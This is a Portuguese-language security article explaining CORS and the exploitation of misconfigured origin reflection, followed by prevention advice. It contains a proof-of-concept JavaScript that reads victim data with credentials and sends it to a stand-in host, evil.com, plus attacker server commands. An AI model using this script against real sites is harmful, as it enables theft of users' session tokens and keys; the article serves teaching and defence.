Configuração Insegura do CORS

Configuração Insegura do CORS

 

 

 

O objetivo desse artigo é demonstrar como funciona a exploração de uma configuração incorreta do Cross-Origin Resource Sharing ou CORS.

Mas o que de fato é o CORS?

O CORS é um mecanismo que permite que recursos restritos em uma página da web sejam recuperados por outro domínio fora do domínio ao qual pertence o recurso que será recuperado. Uma página da web pode integrar livremente recursos de diferentes origens, como imagens, folhas de estilo, scripts, iframes e vídeos. Certas “solicitações de domínio cruzado”, em particular as solicitações Ajax, são proibidas por padrão pela política de segurança de mesma origem.

O CORS define uma maneira pela qual um navegador e um servidor podem interagir para determinar se é ou não seguro permitir uma solicitação de origem cruzada. Isso permite mais liberdade e funcionalidade do que as solicitações de mesma origem, entretanto é mais seguro do que a simples autorização para ter todas as solicitações de origem cruzada. O padrão para CORS foi publicado originalmente como uma recomendação W3C, mas este documento está obsoleto. A especificação mantida ativamente que define o CORS é o Fetch Living Standard do WHATWG.

Same-Origin Policy

A política de mesma origem é uma especificação restritiva de origem cruzada que limita a capacidade de um site interagir com recursos fora do domínio de origem. A política de mesma origem foi definida há muitos anos em resposta às interações entre domínios potencialmente maliciosas como, por exemplo, um site roubando dados privados de outro.

Flexibilização Same-Origin Policy

A política de mesma origem é muito restritiva e, consequentemente, várias abordagens foram criadas para contornar as restrições. Muitos sites interagem com subdomínios ou sites de terceiros de uma forma que requer acesso total entre origens.

O protocolo de compartilhamento de recursos de origem cruzada usa um conjunto de cabeçalhos HTTP que define origens confiáveis ​​da web e propriedades associadas, como, por exemplo, a permissão de acesso autenticado.

Vulnerabilidades que podem ocorrer com uma configuração incorreta do CORS

Muitos sites modernos usam CORS para permitir acesso de subdomínios e sites de terceiros confiáveis. A implementação do CORS de forma incorreta pode conter erros ou ser excessivamente tolerante para garantir que tudo funcione, e isso pode resultar em vulnerabilidades exploráveis.

Exploração de Vulnerabilidades no CORS

Como prova de conceito, adicionaremos um Java script malicioso em um servidor que é controlado pelo atacante. Quando um usuário abrir o site malicioso o script vai processar sem o seu consentimento, enviando assim as informações da requisição para o servidor do atacante. Algumas informações podem ser capturadas, como por exemplo: tokens de sessão, senhas, informações confidenciais, entre outras.

Para detectar a vulnerabilidade, pode-se ler o cabeçalho Origin das solicitações e alterá-lo (ou inserir) com uma origem maliciosa. Por exemplo, considere uma aplicação que receba a seguinte requisição:

GET /sensitive-victim-data HTTP/1.1
Host: vulnerable-website.com
Origin: https://evil.com
Cookie: sessionid=…

Em seguida, responde com:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true

Este cabeçalho está afirmando que o acesso é permitido à partir do domínio solicitante (evil.com) e que as solicitações entre domínios podem incluir cookies (Access-Control-Allow-Credentials: true) e, portanto, serão processadas na sessão. Como o aplicativo reflete origens arbitrárias no cabeçalho Access-Control-Allow-Origin, absolutamente qualquer origem pode acessar recursos do domínio vulnerável.

Se a resposta tiver informações confidenciais, como uma chave de API ou token CSRF, você poderá recuperá-la colocando o seguinte script em seu site:

<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open(‘get’,’https://vulnerable-website.com/sensitive-victim-data’,true);
req.withCredentials = true;
req.send();

function reqListener() {
location=’//evil.com/log?key=’+this.responseText;
};
</script>
Na máquina do atacante:
$ python -m SimpleHTTPServer 80
$ ngrok http 80

Dessa forma, quando a vítima acessar o website malicioso, o script entrará em execução sem o seu consentimento, enviando assim as informações para o atacante.

Como prevenir ataques baseados em CORS?

As seções a seguir descrevem algumas defesas eficazes contra ataques de CORS:

Configuração adequada de solicitações entre domínios

Se um recurso da web contém informações confidenciais, a origem deve ser especificada de forma adequada no Access-Control-Allow-Origin do cabeçalho.

Permitir apenas sites confiáveis

Pode parecer óbvio, mas as origens especificadas no cabeçalho Access-Control-Allow-Origin devem ser aceitas exclusivamente para sites confiáveis. Em particular, refletir dinamicamente as origens de solicitações entre domínios sem validação é facilmente explorável e deve ser evitado.

About the Author

Deixe uma resposta